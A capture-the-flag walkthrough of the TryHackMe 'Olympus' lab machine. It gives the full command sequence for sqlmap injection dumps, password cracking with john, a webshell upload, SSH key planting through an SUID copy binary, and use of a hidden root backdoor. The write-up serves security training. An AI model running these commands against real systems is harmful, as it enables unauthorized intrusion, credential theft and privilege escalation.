TryHackMe - Olympus

🎯 Challenge Overview

Olympus is a TryHackMe room themed around Greek mythology. The challenge involves discovering SQL injection vulnerabilities, exploiting file upload functionality with randomized filenames, abusing SUID binaries for lateral movement, and finding hidden backdoors for root access.

Attack Chain:

1. Reconnaissance → Discover web application and subdomains
2. SQL Injection → Extract database credentials and flags
3. File Upload → Bypass filename randomization for shell upload
4. Lateral Movement → SUID binary abuse to access zeus user
5. Privilege Escalation → Hidden PHP backdoor for root shell

📡 Enumeration

Port Scanning

nmap -p- --min-rate 100 --max-retries 2 -Pn 10.10.10.10 -v

Results:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Host Configuration

echo "10.10.10.10 olympus.thm" >> /etc/hosts

Web Enumeration

feroxbuster -u http://olympus.thm/ -w /usr/share/wordlists/dirb/common.txt

Found: http://olympus.thm/~webmaster/

🔓 SQL Injection Discovery

Vulnerable Endpoint

Found SQL injection on the search functionality:

Vulnerable URL: http://olympus.thm/~webmaster/search.php

Database Extraction

sqlmap -r req.txt --batch --technique=E --dbs

Databases Found:

[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys

Extracting User Credentials

sqlmap -r req.txt --batch -D olympus -T users --dump

Users Extracted:

🔐 Password Cracking

Hash Cracking with John

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result: prometheus password cracked: summertime

🚩 First Flag - Database

Found a flag table in the database:

sqlmap -r req.txt --batch -D olympus -T flag --dump

THM{REDACTED}

🌐 Subdomain Discovery

Discovered additional subdomain from database entries:

echo "10.10.10.10 chat.olympus.thm" >> /etc/hosts

📤 File Upload Exploitation

Upload Analysis

The chat application allows file uploads, but filenames are randomized. Used SQLMap to extract the actual filename from the database:

sqlmap -r req.txt --batch -D olympus -T chats --dump

Result:

| msg                    | file                                 |
|------------------------|--------------------------------------|
| Attached : shell.php   | b63297e776c070b9c5c1548be68e506d.php |

Shell Access

Visited the randomized filename URL:

http://chat.olympus.thm/uploads/b63297e776c070b9c5c1548be68e506d.php

Got webshell access as www-data.

🚩 Second Flag - User

www-data@olympus:/home/zeus$ cat user.flag 
THM{REDACTED}

🔑 Lateral Movement - SUID Binary

Finding SUID Binaries

find / -type f -perm -04000 -ls 2>/dev/null

Found interesting binary:

-rwsr-xr-x   1 zeus     zeus          17728 Apr 18  2022 /usr/bin/cputils

Exploiting cputils

The SUID binary allows copying files as zeus. Used it to add SSH key:

# Generate SSH key on attacker machine
ssh-keygen -f zeus_key

# On target
/usr/bin/cputils
Enter the Name of Source File: /tmp/authorized_keys
Enter the Name of Target File: /home/zeus/.ssh/authorized_keys

SSH as Zeus

ssh -i zeus_key zeus@10.10.10.10

🚀 Privilege Escalation - Hidden Backdoor

Discovery

Found hidden directory in web root:

zeus@olympus:/var/www/html$ ls -la
drwxrwx--x 2 root     zeus      4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc

Backdoor Analysis

Found a PHP backdoor with SUID binary execution:

$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";

Root Shell

Executed the hidden SUID binary:

zeus@olympus:~$ /lib/defended/libc.so.99
root@olympus:~#

🚩 Third Flag - Root

root@olympus:~# cat /root/root.flag

            You did it, you defeated the gods.
                    Hope you had fun !

               THM{REDACTED}

PS : Prometheus left a hidden flag, try and find it !

🚩 Fourth Flag - Bonus

Hidden in system configuration:

grep -iR "flag" /etc/ 2>/dev/null

Found: /etc/ssl/private/.b0nus.fl4g

THM{REDACTED}

🏆 Flags Summary

🛠️ Tools Used

📝 Key Takeaways

1. SQL injection can reveal hidden subdomains and credentials
2. Randomized filenames aren't secure if stored in accessible databases
3. SUID binaries owned by regular users can enable lateral movement
4. Hidden directories may contain backdoors left by previous attackers
5. Thorough enumeration is key - search for hidden files in non-standard locations